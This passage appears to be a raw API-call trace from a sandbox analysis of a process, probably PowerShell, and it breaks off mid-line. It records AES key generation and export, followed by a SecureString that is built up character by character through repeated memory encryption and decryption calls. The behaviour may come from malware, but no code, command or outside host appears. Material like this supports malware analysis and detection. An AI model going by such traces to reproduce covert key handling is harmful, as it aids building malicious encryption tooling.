phProv=0x5a2e400, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e400*=0x5c4d188) returned 1 [0211.278] CryptGenKey (in: hProv=0x5c4d188, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e840 | out: phKey=0x5a2e840*=0x5c69240) returned 1 [0211.278] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0211.279] CryptExportKey (in: hKey=0x5c69240, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e82c | out: pbData=0x0*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0211.279] CryptExportKey (in: hKey=0x5c69240, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24fd608, pdwDataLen=0x5a2e82c | out: pbData=0x24fd608*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0211.279] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e3f8, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0211.280] EtwEventActivityIdControl () returned 0x0 [0211.280] EtwEventActivityIdControl () returned 0x0 [0211.280] EtwEventActivityIdControl () returned 0x0 [0211.281] SysStringLen (param_1="") returned 0x8 [0211.281] SysStringLen (param_1="5") returned 0x8 [0211.281] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.282] SysStringLen (param_1="偰㖶ﵣ㣈\凘奮篵∊) returned 0x8 [0211.282] SysStringLen (param_1="偰㖶ﵣ㣈\凘奮篵∊) returned 0x8 [0211.282] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.283] SysStringLen (param_1="5x") returned 0x8 [0211.283] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.283] SysStringLen (param_1="\補譾앺뜗鮁뇷悓∜) returned 0x8 [0211.283] SysStringLen (param_1="\補譾앺뜗鮁뇷悓∜) returned 0x8 [0211.283] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.283] SysStringLen (param_1="5x/") returned 0x8 [0211.283] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.283] SysStringLen (param_1="⥜꜔\ⴙḤ∲) returned 0x8 [0211.283] SysStringLen (param_1="⥜꜔\ⴙḤ∲) returned 0x8 [0211.283] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.283] SysStringLen (param_1="5x/e") returned 0x8 [0211.283] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.284] SysStringLen (param_1="鋑㴢ﳇ꼮ᬝ┞\ϟ≍) returned 0x8 [0211.284] SysStringLen (param_1="鋑㴢ﳇ꼮ᬝ┞\ϟ≍) returned 0x8 [0211.284] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.284] SysStringLen (param_1="5x/ea") returned 0x8 [0211.284] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.284] SysStringLen (param_1="褤ᨊ旨鄀⸣锞≸") returned 0x8 [0211.284] SysStringLen (param_1="褤ᨊ旨鄀⸣锞≸") returned 0x8 [0211.284] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.284] SysStringLen (param_1="5x/ea+") returned 0x8 [0211.284] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.284] SysStringLen (param_1="泾╎쯜ᔱ梺絟ᆔ믟") returned 0x8 [0211.285] SysStringLen (param_1="泾╎쯜ᔱ梺絟ᆔ믟") returned 0x8 [0211.285] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.285] SysStringLen (param_1="5x/ea+v") returned 0x8 [0211.285] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.285] SysStringLen (param_1="㮖ᛦ⹲ᯛవὢ") returned 0x8 [0211.285] SysStringLen (param_1="㮖ᛦ⹲ᯛవὢ") returned 0x8 [0211.285] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.285] SysStringLen (param_1="5x/ea+v3") returned 0x8 [0211.285] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.286] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦") returned 0x8 [0211.286] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦") returned 0x8 [0211.286] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦") returned 0x8 [0211.287] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦") returned 0x10 [0211.287] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.287] SysStringLen (param_1="5x/ea+v3UЉ霚톚ㄾ᱅롼ꘝ") returned 0x10 [0211.287] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.287] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦△䳊늇ꮏ俸޳Α") returned 0x10 [0211.287] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦△䳊늇ꮏ俸޳Α") returned 0x10 [0211.287] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.287] SysStringLen (param_1="5x/ea+v3UR霚톚ㄾ᱅롼ꘝ") returned 0x10 [0211.287] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.288] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦歽뀑\쇚麡ৡ旷≅) returned 0x10 [0211.288] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦歽뀑\쇚麡ৡ旷≅) returned 0x10 [0211.288] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.288] SysStringLen (param_1="5x/ea+v3URQ톚ㄾ᱅롼ꘝ") returned 0x10 [0211.288] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.288] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦⌥鬞뗲僂嬌䰟것ꇡ") returned 0x10 [0211.288] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦⌥鬞뗲僂嬌䰟것ꇡ") returned 0x10 [0211.288] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.289] SysStringLen (param_1="5x/ea+v3URQaㄾ᱅롼ꘝ") returned 0x10 [0211.289] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.289] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦몏矞ẙ攎餋㥍눦㑝") returned 0x10 [0211.289] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦몏矞ẙ攎餋㥍눦㑝") returned 0x10 [0211.289] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.289] SysStringLen (param_1="5x/ea+v3URQa2᱅롼ꘝ") returned 0x10 [0211.289] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.290] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦㨁ሯⰙ왾Ὰ唝娣噑") returned 0x10 [0211.290] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦㨁ሯⰙ왾Ὰ唝娣噑") returned 0x10 [0211.290] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.290] SysStringLen (param_1="5x/ea+v3URQa2u롼ꘝ") returned 0x10 [0211.290] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.290] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦窽츃ﴱ䬳᪃퐶") returned 0x10 [0211.290] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦窽츃ﴱ䬳᪃퐶") returned 0x10 [0211.290] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.290] SysStringLen (param_1="5x/ea+v3URQa2urꘝ") returned 0x10 [0211.290] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.290] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦ત盵띢띧㯴映ᠫ") returned 0x10 [0211.290] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦ત盵띢띧㯴映ᠫ") returned 0x10 [0211.290] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.291] SysStringLen (param_1="5x/ea+v3URQa2urD") returned 0x10 [0211.291] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.291] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ") returned 0x10 [0211.291] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ") returned 0x10 [0211.291] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ") returned 0x10 [0211.292] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ") returned 0x18 [0211.292] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.292] SysStringLen (param_1="5x/ea+v3URQa2urD8烤㜡侐䇇\臙⋌) returned 0x18 [0211.292] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.294] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ拈ל㛶̲梃㷿ᮍᲞ") returned 0x18 [0211.294] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ拈ל㛶̲梃㷿ᮍᲞ") returned 0x18 [0211.294] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.294] SysStringLen (param_1="5x/ea+v3URQa2urD8S㜡侐䇇\臙⋌) returned 0x18 [0211.294] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.294] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ⮊툟ɐᛣ乄跚䝰") returned 0x18 [0211.294] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ⮊툟ɐᛣ乄跚䝰") returned 0x18 [0211.294] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.295] SysStringLen (param_1="5x/ea+v3URQa2urD8SR侐䇇\臙⋌) returned 0x18 [0211.295] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.295] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ퍨몄봕﨣巕") returned 0x18 [0211.295] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ퍨몄봕﨣巕") returned 0x18 [0211.295] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.295] SysStringLen (param_1="5x/ea+v3URQa2urD8SR7䇇\臙⋌) returned 0x18 [0211.297] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.297] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ쨚䜅咪맩♛쪇딑逾") returned 0x18 [0211.298] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ쨚䜅咪맩♛쪇딑逾") returned 0x18 [0211.298] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.298] SysStringLen (param_1="5x/ea+v3URQa2urD8SR7F䇇\臙⋌) returned 0x18 [0211.298] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.299] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺꈹ流ᵻ\퓛ㆄ脇㳵≇) returned 0x18 [0211.299] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺꈹ流ᵻ\퓛ㆄ脇㳵≇) returned 0x18 [0211.299] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.299] SysStringLen (param_1="5x/ea+v3URQa2urD8SR7FW\臙⋌) returned 0x18 [0211.299] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.299] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ軖\䗘ꐥ긇‎헩㝡≯) returned 0x18 [0211.299] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ軖\䗘ꐥ긇‎헩㝡≯) returned 0x18 [0211.300] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.300] SysStringLen (param_1="5x/ea+v3URQa2urD8SR7FWE첁") returned 0x18 [0211.300] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.300] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺꑱ荙䊰顭厌쎲뫤") returned 0x18 [0211.300] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺꑱ荙䊰顭厌쎲뫤") returned 0x18 [0211.300] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.300] SysStringLen (param_1="5x/ea+v3URQa2urD8SR7FWE0") returned 0x18 [0211.300] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.300] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞⊣) returned 0x18 [0211.301] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞⊣) returned 0x18 [0211.301] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞⊣) returned 0x18 [0211.301] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞⊣) returned 0x20 [0211.301] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.302] SysStringLen (param_1="5x/ea+v3URQa2urD8SR7FWE0kාꧦ賷നⷕ渝") returned 0x20 [0211.302] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.302] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞䚣最ꢅ윬ો艽櫽⊀) returned 0x20 [0211.302] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞䚣最ꢅ윬ો艽櫽⊀) returned 0x20 [0211.302] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.302] SysStringLen (param_1="5x/ea+v3URQa2urD8SR7FWE0klꧦ賷നⷕ渝") returned 0x20 [0211.302] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.302] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞톣᪠Ꮓ郳喳⋪萈∤) returned 0x20 [0211.302] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞톣᪠Ꮓ郳喳⋪萈∤) returned 0x20 [0211.302] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.303] SysStringLen (param_1="5x/ea+v3URQa2urD8SR7FWE0klu賷നⷕ渝") returned 0x20 [0211.303] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.303] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞㼅瀖㺎咚Ⰴ卢⋶) returned 0x20 [0211.303] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞㼅瀖㺎咚Ⰴ卢⋶) returned 0x20 [0211.303] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.303] SysStringLen (param_1="5x/ea+v3URQa2urD8SR7FWE0klu6നⷕ渝") returned 0x20 [0211.303] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.303] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞⚣艉≵媖䴚䨣홚뀼⊲) returned 0x20 [0211.303] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞⚣艉≵媖䴚䨣홚뀼⊲) returned 0x20 [0211.303] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.303] SysStringLen (param_1="5x/ea+v3URQa2urD8SR7FWE0klu6lനⷕ渝") returned 0x20 [0211.303] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.304] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞£ᶉ䐎⧽泥쫦퇌≼) returned 0x20 [0211.304] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞£ᶉ䐎⧽泥쫦퇌≼) returned 0x20 [0211.304] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.304] SysStringLen (param_1="5x/ea+v3URQa2urD8SR7FWE0klu6lbⷕ渝") returned 0x20 [0211.304] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.304] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞↣雂弉⡭㝣䯏㌵艽⋲) returned 0x20 [0211.304] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞↣雂弉⡭㝣䯏㌵艽⋲) returned 0x20 [0211.304] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.304] SysStringLen (param_1="5x/ea+v3URQa2urD8SR7FWE0klu6lbj渝") returned 0x20 [0211.304] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.305] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞䭥踝諾켺牱왷幭⊪) returned 0x20 [0211.305] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞䭥踝諾켺牱왷幭⊪) returned 0x20 [0211.305] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.305] SysStringLen (param_1="5x/ea+v3URQa2urD8SR7FWE0klu6lbj9") returned 0x20 [0211.305] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.305] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜⋑) returned 0x20 [0211.305] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜⋑) returned 0x20 [0211.305] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜⋑) returned 0x20 [0211.306] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜⋑) returned 0x28 [0211.306] SystemFunction041 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.306] SysStringLen (param_1="5x/ea+v3URQa2urD8SR7FWE0klu6lbj9z㑜꽾⩿柇ኖ꼘ᳪ") returned 0x28 [0211.306] SystemFunction040 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.306] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜跑槣䁙㐒携െ⣳ݲ∄) returned 0x28 [0211.306] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜跑槣䁙㐒携െ⣳ݲ∄) returned 0x28 [0211.306] SystemFunction041 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.307] SysStringLen (param_1="5x/ea+v3URQa2urD8SR7FWE0klu6lbj9zV꽾⩿柇ኖ꼘ᳪ") returned 0x28 [0211.307] SystemFunction040 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.307] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜柑鲀ὀ猙쟻뫉\Ϝ䫵") returned 0x28 [0211.307] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜柑鲀ὀ猙쟻뫉\Ϝ䫵") returned 0x28 [0211.307] SystemFunction041 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.307] SysStringLen (param_1="5x/ea+v3URQa2urD8SR7FWE0klu6lbj9zVC⩿柇ኖ꼘ᳪ") returned 0x28 [0211.307] SystemFunction040 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.307] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜埑ܤ蛃屆Ⴚ⊇) returned 0x28 [0211.307] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜埑ܤ蛃屆Ⴚ⊇) returned 0x28 [0211.307] SystemFunction041 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.308] SysStringLen (param_1="5x/ea+v3URQa2urD8SR7FWE0klu6lbj9zVC6柇ኖ꼘ᳪ") returned 0x28 [0211.308] SystemFunction040 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.308] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜ꟑ跔郞斴Ẅ䮺㗐∧) returned 0x28 [0211.308] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜ꟑ跔郞斴Ẅ䮺㗐∧) returned 0x28 [0211.308] SystemFunction041 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.308] SysStringLen (param_1="5x/ea+v3URQa2urD8SR7FWE0klu6lbj9zVC6Fኖ꼘ᳪ") returned 0x28 [0211.308] SystemFunction040 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.308] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜ῑ䝰哿⯺ⱥ涥ﶖ⋈) returned 0x28 [0211.308] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜ῑ䝰哿⯺ⱥ涥ﶖ⋈) returned 0x28 [0211.308] SystemFunction041 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.309] SysStringLen (param_1="5x/ea+v3URQa2urD8SR7FWE0klu6lbj9zVC6FY꼘ᳪ") returned 0x28 [0211.309] SystemFunction040 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.309] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜﯑蚣菘䵽↎봄䶫㞺∽) returned 0x28 [0211.309] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜﯑蚣菘䵽↎봄䶫㞺∽) returned 0x28 [0211.309] SystemFunction041 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.309] SysStringLen (param_1="5x/ea+v3URQa2urD8SR7FWE0klu6lbj9zVC6FYsᳪ") returned 0x28 [0211.309] SystemFunction040 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.310] SysStringLen 